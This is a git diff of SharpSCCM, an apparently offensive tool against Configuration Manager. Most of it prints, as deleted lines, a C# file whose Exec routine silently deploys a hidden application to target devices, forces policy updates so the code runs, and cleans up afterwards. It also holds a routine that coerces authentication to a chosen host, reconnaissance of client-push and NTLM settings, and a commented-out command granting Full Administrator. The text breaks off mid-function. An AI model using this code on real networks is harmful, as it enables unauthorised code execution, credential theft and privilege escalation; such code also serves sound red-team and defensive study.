diff --git a/App.config b/App.config
index 8918077..ae36da0 100644
--- a/App.config
+++ b/App.config
@@ -21,6 +21,10 @@
+
+
+
+
diff --git a/Program.cs b/Program.cs
index c0c95ba..55cd323 100644
--- a/Program.cs
+++ b/Program.cs
@@ -997,17 +997,6 @@ static void Main(string[] args)
newCommand.AddGlobalOption(new Option(new[] { "--site-code", "-sc" }, "The three character site code (e.g., \"PS1\") (default: the site code of the client running SharpSCCM)"));
rootCommand.Add(newCommand);
- // new admin
- //var newAdmin = new Command("admin", "Add a user to the RBAC_Admins table to obtain Full Administrator access to ConfigMgr console and WMI objects (requires local administrator privileges on the server running the site database)");
- //newCommand.Add(newAdmin);
- //newAdmin.Add(new Argument("user-name", "The domain and user name you would like to grant Full Administrator privilege to (e.g., DOMAIN-SHORTNAME\\USERNAME)"));
- //newAdmin.Handler = CommandHandler.Create(
- // (string server, string siteCode, string userName) =>
- // {
- // var connection = Database.Connect(server, siteCode);
- // Database.Query(connection, "SELECT * FROM RBAC_Admins");
- // });
-
// new application
var newApplication = new Command("application", "Create an application by contacting an SMS Provider via WMI\n" +
" Permitted security roles:\n" +
diff --git a/SharpSCCM.csproj b/SharpSCCM.csproj
index e927f31..780e0d9 100644
--- a/SharpSCCM.csproj
+++ b/SharpSCCM.csproj
@@ -132,7 +132,7 @@
-
+
@@ -164,9 +164,12 @@
This project references NuGet package(s) that are missing on this computer. Use NuGet Package Restore to download them. For more information, see http://go.microsoft.com/fwlink/?LinkID=322105. The missing file is {0}.
+
- $(ProjectDir)packages\ILMerge.3.0.41\tools\net452\ILMerge.exe $(TargetPath) $(TargetDir)System.CommandLine.dll $(TargetDir)System.CommandLine.NamingConventionBinder.dll $(TargetDir)System.Runtime.CompilerServices.Unsafe.dll $(TargetDir)System.Memory.dll $(TargetDir)Microsoft.ConfigurationManagement.Messaging.dll $(TargetDir)Microsoft.ConfigurationManagement.Security.Cryptography.dll $(TargetDir)Newtonsoft.Json.dll $(TargetDir)System.Net.Http.Formatting.dll /out:$(TargetDir)SharpSCCM_merged.exe
+ if $(ConfigurationName) == Debug $(ProjectDir)packages\ILMerge.3.0.41\tools\net452\ILMerge.exe $(TargetPath) $(TargetDir)System.CommandLine.dll $(TargetDir)System.CommandLine.NamingConventionBinder.dll $(TargetDir)System.Runtime.CompilerServices.Unsafe.dll $(TargetDir)System.Memory.dll $(TargetDir)Microsoft.ConfigurationManagement.Messaging.dll $(TargetDir)Microsoft.ConfigurationManagement.Security.Cryptography.dll $(TargetDir)Newtonsoft.Json.dll $(TargetDir)System.Net.Http.Formatting.dll /out:$(TargetDir)SharpSCCM_merged.exe
+if $(ConfigurationName) == Debug copy $(TargetDir)SharpSCCM_merged.exe \\192.168.57.101\Users\cthompson\git\SharpSCCM\bin\x64\Debug\SharpSCCM.exe
+
\ No newline at end of file
diff --git a/UnitTests/MgmtPointWmiTests.cs b/UnitTests/SmsProviderWmiTests.cs
similarity index 90%
rename from UnitTests/MgmtPointWmiTests.cs
rename to UnitTests/SmsProviderWmiTests.cs
index 6bb3e9c..0476516 100644
--- a/UnitTests/MgmtPointWmiTests.cs
+++ b/UnitTests/SmsProviderWmiTests.cs
@@ -3,12 +3,11 @@
using System.IO;
using System.Management;
using System.Net;
-using System.Resources;
namespace SharpSCCM.UnitTests
{
[TestClass]
- public class MgmtPointWmiTests
+ public class SmsProviderWmiTests
{
public TestContext TestContext { get; set; }
@@ -68,10 +67,10 @@ public void NewCollectionMember_Device_PrintsDeviceNameInCollectionMembers()
ManagementScope wmiConnection = MgmtUtil.NewWmiConnection();
TestContext.WriteLine($"Device name is {deviceName}");
- MgmtPointWmi.NewCollection(wmiConnection, "device", collectionName);
+ SmsProviderWmi.NewCollection(wmiConnection, "device", collectionName);
var stringWriter = new StringWriter();
Console.SetOut(stringWriter);
- MgmtPointWmi.NewCollectionMember(wmiConnection, collectionName, null, deviceName);
+ SmsProviderWmi.NewCollectionMember(wmiConnection, collectionName, null, deviceName);
StringAssert.Contains(stringWriter.ToString(), $"Name: {deviceName.ToUpper()}");
TestContext.WriteLine(stringWriter.ToString());
Cleanup.RemoveCollection(wmiConnection, collectionName, null);
diff --git a/UnitTests/UnitTests.csproj b/UnitTests/UnitTests.csproj
index e592533..062bd1b 100644
--- a/UnitTests/UnitTests.csproj
+++ b/UnitTests/UnitTests.csproj
@@ -82,9 +82,10 @@
-
+
+
diff --git a/UnitTests/app.config b/UnitTests/app.config
new file mode 100644
index 0000000..eea115a
--- /dev/null
+++ b/UnitTests/app.config
@@ -0,0 +1,15 @@
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
\ No newline at end of file
diff --git a/lib/AdminService.cs b/lib/AdminService.cs
index 670033d..578e58b 100644
--- a/lib/AdminService.cs
+++ b/lib/AdminService.cs
@@ -1,19 +1,17 @@
+using Newtonsoft.Json;
+using Newtonsoft.Json.Linq;
using System;
-using System.Text;
using System.IO;
-using System.Net;
using System.Linq;
+using System.Management;
+using System.Net;
using System.Net.Http;
using System.Net.Security;
-using Newtonsoft.Json;
-using Newtonsoft.Json.Linq;
-using System.Threading.Tasks;
-using System.Collections.Generic;
using System.Security.Cryptography;
-using System.Text.RegularExpressions;
using System.Security.Cryptography.X509Certificates;
-using Microsoft.ConfigurationManagement.Messaging.StatusMessages;
-using System.Management;
+using System.Text;
+using System.Text.RegularExpressions;
+using System.Threading.Tasks;
namespace SharpSCCM
{
diff --git a/lib/Crypto.cs b/lib/Crypto.cs
index 9fc7671..97158bc 100644
--- a/lib/Crypto.cs
+++ b/lib/Crypto.cs
@@ -1,5 +1,4 @@
-using Microsoft.ConfigurationManagement.Messaging.Framework;
-using System;
+using System;
using System.Security.Cryptography;
namespace SharpSCCM
diff --git a/lib/MgmtPointMessaging.cs b/lib/MgmtPointMessaging.cs
index dfbf98c..6113198 100644
--- a/lib/MgmtPointMessaging.cs
+++ b/lib/MgmtPointMessaging.cs
@@ -17,14 +17,6 @@ namespace SharpSCCM
{
static class MgmtPointMessaging
{
- static MessageCertificateX509 CreateCertificate()
- {
- // Generate certificate for signing and encrypting messages
- string[] oidPurposes = new string[] { "2.5.29.37" }; // Any extended key usage
- MessageCertificateX509 certificate = MessageCertificateX509.CreateSelfSignedCertificate("ConfigMgr Client Signing and Encryption", "ConfigMgr Client Signing and Encryption", oidPurposes, DateTime.Now, DateTime.Now.AddMonths(6));
- return certificate;
- }
-
public static MessageCertificateX509Volatile CreateUserCertificate(string subjectName = null, bool store = false)
{
// Generate certificate for signing and encrypting messages
@@ -82,11 +74,6 @@ public static void DeleteCertificate(MessageCertificateX509 certificate)
Console.WriteLine($"[+] Deleted the \"{certificate.X509Certificate.SubjectName.Name}\" certificate from {x509Store.Name} store for {x509Store.Location}");
}
- public static void GetAvailablePackages(string managementPoint = null, string siteCode = null)
- {
-
- }
-
public static (MessageCertificateX509, MessageCertificateX509, SmsClientId) GetCertsAndClientId(string managementPoint = null, string siteCode = null, string encodedCertificate = null, string providedClientId = null, string username = null, string password = null, string registerClient = null, string encodedCertPassword = null)
{
MessageCertificateX509 signingCertificate = null;
diff --git a/lib/MgmtPointWmi.cs b/lib/MgmtPointWmi.cs
deleted file mode 100644
index a360ab3..0000000
--- a/lib/MgmtPointWmi.cs
+++ /dev/null
@@ -1,1151 +0,0 @@
-using System;
-using System.Collections.Generic;
-using System.Data;
-using System.Linq;
-using System.Management;
-using System.Threading;
-
-namespace SharpSCCM
-{
- public static class MgmtPointWmi
- {
- public static void Exec(ManagementScope wmiConnection, string collectionId = null, string collectionName = null, string deviceName = null, string applicationPath = null, string relayServer = null, string resourceId = null, bool runAsUser = true, string collectionType = null, string userName = null)
- {
- ManagementObject collection = GetCollection(wmiConnection, collectionName, collectionId);
- // Create a collection is one is not specified
- if (collection == null)
- {
- if (!string.IsNullOrEmpty(resourceId))
- {
- ManagementObject resource = GetDeviceOrUser(wmiConnection, resourceId: resourceId);
- collectionType = resource.ClassPath.ClassName == "SMS_R_System" ? "device" : resource.ClassPath.ClassName == "SMS_R_User" ? "user" : null;
- }
- collectionType = !string.IsNullOrEmpty(collectionType) ? collectionType : !string.IsNullOrEmpty(deviceName) ? "device" : !string.IsNullOrEmpty(userName) ? "user" : null;
- string newCollectionName = $"{char.ToUpper(collectionType[0]) + collectionType.Substring(1)}s_{Guid.NewGuid()}";
- collection = NewCollection(wmiConnection, collectionType, newCollectionName);
- NewCollectionMember(wmiConnection, newCollectionName, collectionType, (string)collection["CollectionID"], deviceName, userName, resourceId);
- }
- else
- {
- collectionType = !string.IsNullOrEmpty(collectionType) ? collectionType : (uint)collection["CollectionType"] == 2 ? "device" : (uint)collection["CollectionType"] == 1 ? "user" : null;
- }
- string newApplicationName = $"Application_{Guid.NewGuid()}";
- string newDeploymentName = $"{newApplicationName}_{(string)collection["CollectionID"]}_Install";
- applicationPath = !string.IsNullOrEmpty(relayServer) ? $"\\\\{relayServer}\\C$" : applicationPath;
- // Hide from ConfigMgr Console by default
- NewApplication(wmiConnection, newApplicationName, applicationPath, runAsUser, false);
- NewDeployment(wmiConnection, newApplicationName, null, (string)collection["CollectionID"]);
- Console.WriteLine("[+] Waiting for new deployment to become available...");
- bool deploymentAvailable = false;
- while (!deploymentAvailable)
- {
- Thread.Sleep(millisecondsTimeout: 5000);
- ManagementObjectCollection deployments = MgmtUtil.GetClassInstances(wmiConnection, "SMS_ApplicationAssignment", whereCondition: $"AssignmentName='{newDeploymentName}'");
- if (deployments.Count == 1)
- {
- Console.WriteLine("[+] New deployment is available, waiting 30 seconds for updated policy to become available");
- Thread.Sleep(millisecondsTimeout: 30000);
- deploymentAvailable = true;
- }
- else
- {
- Console.WriteLine("[+] New deployment is not available yet... trying again in 5 seconds");
- }
- }
- if (collectionType == "device")
- {
- UpdateMachinePolicy(wmiConnection, (string)collection["CollectionID"]);
- Console.WriteLine("[+] Waiting 1 minute for execution to complete...");
- Thread.Sleep(60000);
- }
- else if (collectionType == "user")
- {
- UpdateUserPolicy(wmiConnection, (string)collection["CollectionID"]);
- }
- Console.WriteLine("[+] Cleaning up");
- Cleanup.RemoveDeployment(wmiConnection, newDeploymentName);
- Cleanup.RemoveApplication(wmiConnection, newApplicationName);
- // Only delete the collection if not using an existing collection
- if (string.IsNullOrEmpty(collectionId) && string.IsNullOrEmpty(collectionName))
- {
- Cleanup.RemoveCollection(wmiConnection, null, (string)collection["CollectionID"]);
- }
- }
-
- public static void InvokeLastLogonUpdate(ManagementScope wmiConnection, string collectionName)
- {
- // TODO
- }
- public static void GenerateCCR(string target, string server = null, string siteCode = null)
- {
- ManagementScope wmiConnection = MgmtUtil.NewWmiConnection(server, null, siteCode);
- Console.WriteLine($"[+] Generating a client configuration request (CCR) to coerce authentication to {target}");
- ManagementClass collectionClass = new ManagementClass(wmiConnection, new ManagementPath("SMS_Collection"), null);
- ManagementBaseObject generatorParams = collectionClass.GetMethodParameters("GenerateCCRByName");
- generatorParams.SetPropertyValue("Name", target);
- generatorParams.SetPropertyValue("PushSiteCode", siteCode);
- generatorParams.SetPropertyValue("Forced", false);
- collectionClass.InvokeMethod("GenerateCCRByName", generatorParams, null);
- }
-
- public static ManagementObject GetCollection(ManagementScope wmiConnection, string collectionName = null, string collectionId = null, bool printOutput = false)
- {
- ManagementObject collection = null;
- string whereCondition = !string.IsNullOrEmpty(collectionId) ? $"CollectionID='{collectionId}'" : $"Name='{collectionName}'";
- ManagementObjectCollection collections = MgmtUtil.GetClassInstances(wmiConnection, "SMS_Collection", whereCondition: whereCondition);
- if (collections.Count > 1)
- {
- Console.WriteLine($"[!] Found {collections.Count} collections where {whereCondition}");
- Console.WriteLine("[!] Try using a CollectionID instead (-i)");
- }
- else if (collections.Count == 0)
- {
- Console.WriteLine($"[+] Found 0 collections matching the specified {(!string.IsNullOrEmpty(collectionId) ? "CollectionID" : !string.IsNullOrEmpty(collectionName) ? "Name" : null)}");
- }
- else
- {
- collection = collections.OfType().First();
- if (printOutput) Console.WriteLine($"[+] Found the {collection["Name"]} collection ({collection["CollectionID"]})");
- }
- return collection;
- }
-
- public static ManagementObjectCollection GetCollectionMembers(ManagementScope wmiConnection, string collectionName = null, string collectionId = null, bool count = false, string[] properties = null, string whereCondition = null, string orderByColumn = null, bool dryRun = false, bool verbose = false, bool printOutput = false)
- {
- ManagementObjectCollection collectionMembers = null;
- ManagementObject collection = GetCollection(wmiConnection, collectionName, collectionId, printOutput);
- if (collection != null)
- {
- collectionMembers = MgmtUtil.GetClassInstances(wmiConnection, "SMS_FullCollectionMembership", null, count, properties, $"CollectionID='{collection.GetPropertyValue("CollectionID")}'", null, dryRun, verbose, printOutput: printOutput);
- if (collectionMembers.Count == 0)
- {
- if (printOutput) Console.WriteLine($"[+] Found 0 members in {collection["Name"]} ({collection["CollectionID"]})");
- }
- }
- return collectionMembers;
- }
-
- public static void GetCollectionRule(ManagementScope wmiConnection, string providedCollectionName, string providedCollectionId, string deviceName, string userName, string resourceId)
- {
- // Get collections that match the provided criteria
- ManagementObject providedCollection;
- if (!string.IsNullOrEmpty(providedCollectionName) || !string.IsNullOrEmpty(providedCollectionId))
- {
- providedCollection = GetCollection(wmiConnection, providedCollectionName, providedCollectionId, true);
- if (providedCollection != null)
- {
- providedCollectionName = (string)providedCollection["Name"];
- providedCollectionId = (string)providedCollection["CollectionID"];
- }
- else
- {
- return;
- }
- }
-
- // Get devices and users that match the provided criteria
- ManagementObject providedDeviceOrUser = null;
- if (!string.IsNullOrEmpty(deviceName) || !string.IsNullOrEmpty(userName) || !string.IsNullOrEmpty(resourceId))
- {
- providedDeviceOrUser = GetDeviceOrUser(wmiConnection, deviceName, resourceId, userName, true);
- if (providedDeviceOrUser == null)
- {
- return;
- }
- }
-
- // Get rules for all collections so they can be compared to the provided criteria
- ManagementObjectCollection existingCollections = MgmtUtil.GetClassInstances(wmiConnection, "SMS_Collection");
- if (existingCollections.Count > 0)
- {
- bool foundMatchingRule = false;
- Console.WriteLine("[+] Searching for matching collection rules");
-
- // Loop through once to identify matching collections, again to compare those matches to all existing collections, then additional times as needed for nested rules
- int loopsCompleted = 0;
- int depth = 1;
- int matchingIncludeAndExcludeRules = 0;
- List existingCollectionsMatchingProvidedResource = new List();
- List unprintedRules = new List();
- while (loopsCompleted <= depth)
- {
- foreach (ManagementObject existingCollection in existingCollections)
- {
- // Get the Name and CollectionID to for each collection
- string existingCollectionName = (string)existingCollection["Name"];
- string existingCollectionId = (string)existingCollection["CollectionID"];
-
- // Get collection members that match the provided criteria
- ManagementObjectCollection existingCollectionMembers;
- if (providedDeviceOrUser != null)
- {
- existingCollectionMembers = GetCollectionMembers(wmiConnection, existingCollectionName, existingCollectionId);
- foreach (ManagementObject existingCollectionMember in existingCollectionMembers)
- {
- if ((uint)existingCollectionMember["ResourceID"] == (uint)providedDeviceOrUser["ResourceID"])
- {
- existingCollectionsMatchingProvidedResource.Add(existingCollectionId);
- }
- }
- }
-
- // Populate the CollectionRules lazy property
- existingCollection.Get();
- ManagementBaseObject[] collectionRules = (ManagementBaseObject[])existingCollection["CollectionRules"];
-
- // Account for collections with no rules
- if (collectionRules != null)
- {
- foreach (ManagementBaseObject collectionRule in collectionRules)
- {
- // Grab the query and fetch the results
- if (collectionRule.Properties.Cast().Any(property => property.Name == "QueryExpression"))
- {
- string collectionRuleQuery = (string)collectionRule["QueryExpression"];
- ManagementObjectCollection collectionRuleQueryResults = MgmtUtil.GetClassInstances(wmiConnection, "Query Results", collectionRuleQuery);
- if (collectionRuleQueryResults.Count > 0)
- {
- // If only a collection Name or CollectionID is provided
- if ((((!string.IsNullOrEmpty(providedCollectionName) && providedCollectionName == existingCollectionName) ||
- (!string.IsNullOrEmpty(providedCollectionId) && providedCollectionId == existingCollectionId)) &&
- string.IsNullOrEmpty(deviceName) && string.IsNullOrEmpty(userName) && string.IsNullOrEmpty(resourceId)) ||
- // If this collection matches a provided or previously matched resource
- existingCollectionsMatchingProvidedResource.Contains(existingCollectionId))
- {
- // Add the ID of the collection containing the matching rule to the list of matches
- if (!existingCollectionsMatchingProvidedResource.Contains(existingCollectionId))
- {
- existingCollectionsMatchingProvidedResource.Add(existingCollectionId);
- }
- if (loopsCompleted == depth)
- {
- Console.WriteLine("-----------------------------------\n" +
- $"CollectionID: {existingCollectionId}\n" +
- $"Collection Name: {existingCollectionName}\n" +
- $"RuleName: {collectionRule["RuleName"]}\n" +
- $"QueryID: {collectionRule["QueryID"]}\n" +
- $"Query Expression: {collectionRule["QueryExpression"]}");
- }
- }
- foreach (ManagementObject collectionRuleQueryResult in collectionRuleQueryResults)
- {
- // If device Name, user UniqueUserName, or ResourceID provided, or if only a collection Name or CollectionID is provided, print matching or all collection rules, respectively
- try
- {
- // If device Name, user UniqueUserName, or ResourceID provided matches a query result
- if ((string)collectionRuleQueryResult.GetPropertyValue("Name") == deviceName ||
- (string)collectionRuleQueryResult.GetPropertyValue("UniqueUserName") == userName ||
- (uint)collectionRuleQueryResult.GetPropertyValue("ResourceID") == Convert.ToUInt32(resourceId))
- {
- foundMatchingRule = true;
- // Add the matching rule to the list of matches
- if (!unprintedRules.Contains(collectionRule))
- {
- unprintedRules.Add(collectionRule);
- }
- else if (loopsCompleted == depth)
- {
- Console.WriteLine("-----------------------------------\n" +
- $"CollectionID: {existingCollectionId}\n" +
- $"Collection Name: {existingCollectionName}\n" +
- $"RuleName: {collectionRule["RuleName"]}\n" +
- $"QueryID: {collectionRule["QueryID"]}\n" +
- $"Query Expression:{collectionRule["QueryExpression"]}");
- }
- }
- }
- catch (ManagementException)
- {
- // Keep going if the property isn't found because it doesn't exist in both SMS_R_System and SMS_R_User
- }
- }
- }
- // Account for collection rules with queries that return no objects
- else if (((!string.IsNullOrEmpty(providedCollectionName) && providedCollectionName == existingCollectionName) ||
- (!string.IsNullOrEmpty(providedCollectionId) && providedCollectionId == existingCollectionId)) &&
- string.IsNullOrEmpty(deviceName) && string.IsNullOrEmpty(userName) && string.IsNullOrEmpty(resourceId))
- {
- foundMatchingRule = true;
- // Add the ID of the collection containing the matching rule to the list of matches
- if (!existingCollectionsMatchingProvidedResource.Contains(existingCollectionId))
- {
- existingCollectionsMatchingProvidedResource.Add(existingCollectionId);
- }
- if (loopsCompleted == depth)
- {
- Console.WriteLine("-----------------------------------\n" +
- $"CollectionID: {existingCollectionId}\n" +
- $"Collection Name: {existingCollectionName}\n" +
- $"RuleName: {collectionRule["RuleName"]}\n" +
- $"QueryID: {collectionRule["QueryID"]}\n" +
- $"Query Expression:{collectionRule["QueryExpression"]}");
- }
- }
- }
- else if (collectionRule.Properties.Cast().Any(property => property.Name == "ExcludeCollectionID"))
- {
-
- string collectionRuleExcludedCollectionId = (string)collectionRule["ExcludeCollectionID"];
-
- if (
- // If a collection Name or CollectionID is provided, print all collection rules
- existingCollectionId == providedCollectionId ||
- // If the collection nested in this collection matches the provided collection
- collectionRuleExcludedCollectionId == providedCollectionId ||
- // If this collection was previously matched because it was included in or excluded from another collection
- existingCollectionsMatchingProvidedResource.Contains(existingCollectionId) ||
- // If the collection nested in this collection was previously matched because it was included in or excluded from another collection
- existingCollectionsMatchingProvidedResource.Contains(collectionRuleExcludedCollectionId)
- )
- {
- foundMatchingRule = true;
- // Add the excluded collection ID to the list of matches if it's not already present
- if (!existingCollectionsMatchingProvidedResource.Contains(collectionRuleExcludedCollectionId))
- {
- existingCollectionsMatchingProvidedResource.Add(collectionRuleExcludedCollectionId);
- matchingIncludeAndExcludeRules++;
- }
- if (loopsCompleted == depth)
- {
- Console.WriteLine("-----------------------------------\n" +
- $"CollectionID: {existingCollectionId}\n" +
- $"Collection Name: {existingCollectionName}\n" +
- $"RuleName: {collectionRule["RuleName"]}\n" +
- $"ExcludeCollectionID: {collectionRule["ExcludeCollectionID"]}");
- }
- }
- }
- else if (collectionRule.Properties.Cast().Any(property => property.Name == "IncludeCollectionID"))
- {
- string collectionRuleIncludedCollectionId = (string)collectionRule["IncludeCollectionID"];
- if (
- // If a collection Name or CollectionID is provided, print all collection rules
- existingCollectionId == providedCollectionId ||
- // If the collection nested in this collection matches the provided collection
- collectionRuleIncludedCollectionId == providedCollectionId ||
- // If this collection was previously matched because it was included in or excluded from another collection
- existingCollectionsMatchingProvidedResource.Contains(existingCollectionId) ||
- // If the collection nested in this collection was previously matched because it was included in or excluded from another collection
- existingCollectionsMatchingProvidedResource.Contains(collectionRuleIncludedCollectionId)
- )
- {
- foundMatchingRule = true;
- // Add the included collection ID to the list of matches if it's not already present
- if (!existingCollectionsMatchingProvidedResource.Contains(collectionRuleIncludedCollectionId))
- {
- existingCollectionsMatchingProvidedResource.Add(collectionRuleIncludedCollectionId);
- matchingIncludeAndExcludeRules++;
- }
- if (loopsCompleted == depth)
- {
- Console.WriteLine("-----------------------------------\n" +
- $"CollectionID: {existingCollectionId}\n" +
- $"Collection Name: {existingCollectionName}\n" +
- $"RuleName: {collectionRule["RuleName"]}\n" +
- $"IncludeCollectionID: {collectionRule["IncludeCollectionID"]}");
- }
-
- }
- }
- else if (collectionRule.Properties.Cast().Any(property => property.Name == "ResourceID"))
- {
- // If only a collection Name or CollectionID is provided
- if ((((!string.IsNullOrEmpty(providedCollectionName) && providedCollectionName == existingCollectionName) ||
- (!string.IsNullOrEmpty(providedCollectionId) && providedCollectionId == existingCollectionId)) &&
- string.IsNullOrEmpty(deviceName) && string.IsNullOrEmpty(userName) && string.IsNullOrEmpty(resourceId)) ||
- // If this collection matches a provided or previously matched resource
- existingCollectionsMatchingProvidedResource.Contains(existingCollectionId) ||
- // If device Name, user UniqueUserName, or ResourceID provided
- (uint)collectionRule.GetPropertyValue("ResourceID") == Convert.ToUInt32(resourceId) ||
- (string)collectionRule.GetPropertyValue("RuleName") == deviceName ||
- (string)collectionRule.GetPropertyValue("RuleName") == userName)
- {
- foundMatchingRule = true;
- // Add the collection ID to the list of matches if it's not already present
- if (!existingCollectionsMatchingProvidedResource.Contains(existingCollectionId))
- {
- existingCollectionsMatchingProvidedResource.Add(existingCollectionId);
- }
- if (loopsCompleted == depth)
- {
- Console.WriteLine("-----------------------------------\n" +
- $"CollectionID: {existingCollectionId}\n" +
- $"Collection Name: {existingCollectionName}\n" +
- $"RuleName: {collectionRule[propertyName: "RuleName"]}\n" +
- $"ResourceClassName: {collectionRule["ResourceClassName"]}\n" +
- $"ResourceID: {collectionRule["ResourceID"]}");
- }
- }
- }
- }
- }
- }
- // Increase depth of search if any include or exclude rules were found
- if (matchingIncludeAndExcludeRules > 0)
- {
- depth++;
- Console.WriteLine($"[+] Found {matchingIncludeAndExcludeRules} matching collection rule{(matchingIncludeAndExcludeRules > 1 ? "s" : null)} at depth {depth} that reference{(matchingIncludeAndExcludeRules == 1 ? "s" : null)} other collections");
- Console.WriteLine($"[+] Increasing search depth to {depth + 1} and looping through collection rules again to resolve any nested rules");
- matchingIncludeAndExcludeRules = 0;
- }
- int loopsRemaining = depth - loopsCompleted;
- if (loopsRemaining > 0)
- {
- Console.WriteLine($"[+] {loopsRemaining} loop{(loopsRemaining > 1 ? "s" : null)} remaining");
- }
- loopsCompleted++;
- }
- if (foundMatchingRule)
- {
- Console.WriteLine(value: "-----------------------------------");
- }
- else
- {
- Console.WriteLine("[+] Found 0 matching collection membership rules");
- }
- }
- }
-
- public static ManagementObject GetDeviceOrUserFromResourceId(ManagementScope wmiConnection, string resourceId)
- {
- ManagementObject resource = null;
- string[] classes = { "SMS_R_System", "SMS_R_User" };
- foreach (string className in classes)
- {
- ManagementObjectCollection matchingResources = MgmtUtil.GetClassInstances(wmiConnection, className, whereCondition: $"ResourceID='{resourceId}'");
- if (matchingResources.Count == 1)
- {
- resource = matchingResources.OfType().First();
- Console.WriteLine($"[+] Found resource named {resource["Name"]} with ResourceID {resource["ResourceID"]}");
- break;
- }
- else
- {
- Console.WriteLine($"[+] Found 0 devices or users with ResourceID {resourceId} in {className}");
- }
- }
- return resource;
- }
-
- public static ManagementObject GetDeviceOrUser(ManagementScope wmiConnection, string deviceName = null, string resourceId = null, string userName = null, bool printOutput = false)
- {
- // Escape backslashes (e.g., "DOMAIN\username") for WQL
- userName = !string.IsNullOrEmpty(userName) ? Helpers.EscapeBackslashes(userName) : null;
-
- ManagementObject resource = null;
- string[] classes = { "SMS_R_System", "SMS_R_User" };
- string whereCondition = !string.IsNullOrEmpty(resourceId) ? $"ResourceID='{resourceId}'" : !string.IsNullOrEmpty(deviceName) ? $"Name='{deviceName}'" : !string.IsNullOrEmpty(userName) ? $"UniqueUserName='{userName}'" : null;
- foreach (string className in classes)
- {
- // Skip searches for devices in the users class and vice versa
- if ((className == "SMS_R_System" && string.IsNullOrEmpty(userName)) ||
- (className == "SMS_R_User" && string.IsNullOrEmpty(deviceName)))
- {
- ManagementObjectCollection matchingResources = MgmtUtil.GetClassInstances(wmiConnection, className, whereCondition: whereCondition);
- if (matchingResources.Count == 1)
- {
- resource = matchingResources.OfType().First();
- if (printOutput) Console.WriteLine($"[+] Found resource named {resource["Name"]} with ResourceID {resource["ResourceID"]}");
- break;
- }
- else
- {
- if (printOutput) Console.WriteLine($"[+] Found 0 matching {(className == "SMS_R_System" ? "devices" : "users")} in {className}");
- }
- }
- }
- return resource;
- }
-
- public static ManagementObjectCollection GetPrimaryDeviceForUser(ManagementScope wmiConnection, string resourceId = null, string userName = null)
- {
- userName = !string.IsNullOrEmpty(resourceId) ? (string)GetDeviceOrUser(wmiConnection, resourceId: resourceId)["UniqueUserName"] : userName;
- // Escape backslash for WQL query
- string whereCondition = $"UniqueUserName='{userName.Replace("\\", "\\\\")}'";
- // Get the device associated with the user
- ManagementObjectCollection userDevices = MgmtUtil.GetClassInstances(wmiConnection, "SMS_UserMachineRelationship", whereCondition: whereCondition);
- if (userDevices.Count == 1)
- {
- Console.WriteLine($"[+] {userName} is the primary user of {userDevices.OfType().First()["ResourceName"]}");
- }
- else if (userDevices.Count > 1)
- {
- Console.WriteLine($"[!] Found multiple devices where {userName} is the primary user:\n");
- foreach (ManagementObject userDevice in userDevices)
- {
- Console.WriteLine($" {userDevice["ResourceName"]}");
- }
- Console.WriteLine();
- Console.WriteLine("[!] Try again using the device Name (-d) or ResourceID (-r)");
- }
- else
- {
- Console.WriteLine($"[!] Could not find any devices where {userName} is the primary user");
- }
- return userDevices;
- }
-
- public static string GetResourceIDForDeviceOrUser(ManagementScope wmiConnection, string user, string device)
- {
- // Escape backslashes (e.g., "DOMAIN\username") for WQL
- user = !string.IsNullOrEmpty(user) ? Helpers.EscapeBackslashes(user) : null;
-
- string[] classes = { "SMS_R_System", "SMS_R_User" };
- string whereCondition = null;
- string target = "";
-
- if (!string.IsNullOrEmpty(device))
- {
- // Used this for testing duplicate device instances or more:
- //whereCondition = $"Name='{device}' OR Name='APP1'";
- whereCondition = $"Name='{device}'";
- target = device;
- }
- else if (!string.IsNullOrEmpty(user))
- {
- target = user.Replace("\\\\", "\\");
- whereCondition = $"UniqueUserName='{user}'";
- }
-
- foreach (string className in classes)
- {
- // Skip searches for devices in the users class and vice versa
- if ((className == "SMS_R_System" && string.IsNullOrEmpty(user)) ||
- (className == "SMS_R_User" && string.IsNullOrEmpty(device)))
- {
- ManagementObjectCollection matchingResources = MgmtUtil.GetClassInstances(wmiConnection, className, whereCondition: whereCondition);
- if (matchingResources.Count > 0)
- {
- foreach (ManagementObject obj in matchingResources)
- {
- string resourceId = obj["ResourceID"].ToString();
- Console.WriteLine($"[+] Found resourceID for {target}: {resourceId}");
- }
- }
- else
- {
- Console.WriteLine($"[+] A resourceID for {target} could not be found");
- }
- }
- }
- return null;
- }
-
- public static void GetSitePushSettings(ManagementScope wmiConnection = null)
- {
- ManagementObjectSearcher searcher = new ManagementObjectSearcher(wmiConnection, new ObjectQuery($"SELECT PropertyName, Value, Value1 FROM SMS_SCI_SCProperty WHERE ItemType='SMS_DISCOVERY_DATA_MANAGER' AND (PropertyName='ENABLEKERBEROSCHECK' OR PropertyName='FILTERS' OR PropertyName='SETTINGS')"));
- try
- {
- ManagementObjectCollection results = searcher.Get();
- if (results.Count > 0)
- {
- foreach (ManagementObject result in results)
- {
- if (result["PropertyName"].ToString() == "SETTINGS" && result["Value1"].ToString() == "Active")
- {
- Console.WriteLine("[+] Automatic site-wide client push installation is enabled");
- }
- else if (result["PropertyName"].ToString() == "SETTINGS" && result["Value1"].ToString() != "Active")
- {
- Console.WriteLine("[+] Automatic site-wide client push installation is not enabled");
- }
- else if (result["PropertyName"].ToString() == "ENABLEKERBEROSCHECK" && result["Value"].ToString() == "3")
- {
- Console.WriteLine("[+] Fallback to NTLM is enabled");
- }
- else if (result["PropertyName"].ToString() == "FILTERS")
- {
- Console.WriteLine("[+] Install client software on the following computers:");
- if (result["Value"].ToString() == "0")
- {
- Console.WriteLine(" Workstations and Servers (including domain controllers)");
- }
- else if (result["Value"].ToString() == "1")
- {
- Console.WriteLine(" Servers only (including domain controllers)");
- }
- else if (result["Value"].ToString() == "2")
- {
- Console.WriteLine(" Workstations and Servers (excluding domain controllers)");
- }
- else if (result["Value"].ToString() == "3")
- {
- Console.WriteLine(" Servers only (excluding domain controllers)");
- }
- else if (result["Value"].ToString() == "4")
- {
- Console.WriteLine(" Workstations and domain controllers only (excluding other servers)");
- }
- else if (result["Value"].ToString() == "5")
- {
- Console.WriteLine(" Domain controllers only");
- }
- else if (result["Value"].ToString() == "6")
- {
- Console.WriteLine(" Workstations only");
- }
- else if (result["Value"].ToString() == "7")
- {
- Console.WriteLine(" No computers");
- }
- }
- }
- searcher = new ManagementObjectSearcher(wmiConnection, new ObjectQuery("SELECT Values FROM SMS_SCI_SCPropertyList WHERE PropertyListName='Reserved2'"));
- results = searcher.Get();
- foreach (ManagementObject result in results)
- {
- if (result["Values"] != null)
- {
